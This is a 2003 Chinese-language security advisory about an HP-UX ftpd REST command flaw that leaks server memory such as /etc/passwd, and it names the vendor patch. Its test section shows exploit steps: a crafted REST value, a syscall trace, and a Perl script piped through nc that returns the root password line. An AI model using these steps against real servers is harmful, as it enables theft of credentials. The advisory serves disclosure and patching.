xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

HP-UX FTPD REST命令内存信息泄露


发布时间:2003-06-05
更新时间:2003-06-05
严重程度:
威胁程度:服务器信息泄露
错误类型:设计错误
利用方式:服务器模式

BUGTRAQ ID:7825

受影响系统
HP HP-UX ftpd 1.1.214 .4
   +HP HP-UX 11.0
详细描述
HP-UX 11的ftpd守护进程实现上存在漏洞,远程用户发送一个精心构造的数字参数的REST命令会导致泄露内存中的敏感信息,利用此漏洞远程攻击者可能获取系统相关的敏感信息比如/etc/passwd文件。

测试代码
frieza elguapo $ ftp 192.168.1.111
Connected to 192.168.1.111.
220 kakarot FTP server (Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999) ready.
Name (192.168.1.111:root): elguapo
331 Password required for elguapo.
Password:
230 User elguapo logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> rest 1111111111111111
restarting at 2147483647. execute get, put or append to initiate transfer
ftp> get .
local: . remote: .
200 PORT command successful.

如果使用正确的地址,如:

open("/etc/passwd", O_RDONLY, 0666) [entry]
open("/etc/passwd", O_RDONLY, 0666)
ioctl(5, TCGETA, 0x7f7e61b8)[entry]
ioctl(5, TCGETA, 0x7f7e61b8)ERR#25 ENOTTY
read(5, 0x4002fe10, 8192)[entry]
read(5, 0x4002fe10, 8192)= 454
    r o o t : m y r o o t p a s s w o r d : 0 : 3 : : / : / s b i n /
    s h \n d a e m o n : * : 1 : 5 : : / : / s b i n / s h \nb i n :

就可以利用方法远程获得内存信息:

frieza root # (./HPUX_rest2.pl;cat) | nc 192.168.1.111 21
220 kakarot FTP server (Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999) ready.
331 Password required for root.
530 Login incorrect.
350 Restarting at offset_uformat. root:myrootpassword:0:3::/:/sbin/sh\n
  daemon:*:1:5::/:/sbin/sh\n bin:
...

解决方案
厂商已经发布了补丁以修复此漏洞:

PHNE_21936
http://itrc.hp.com

相关信息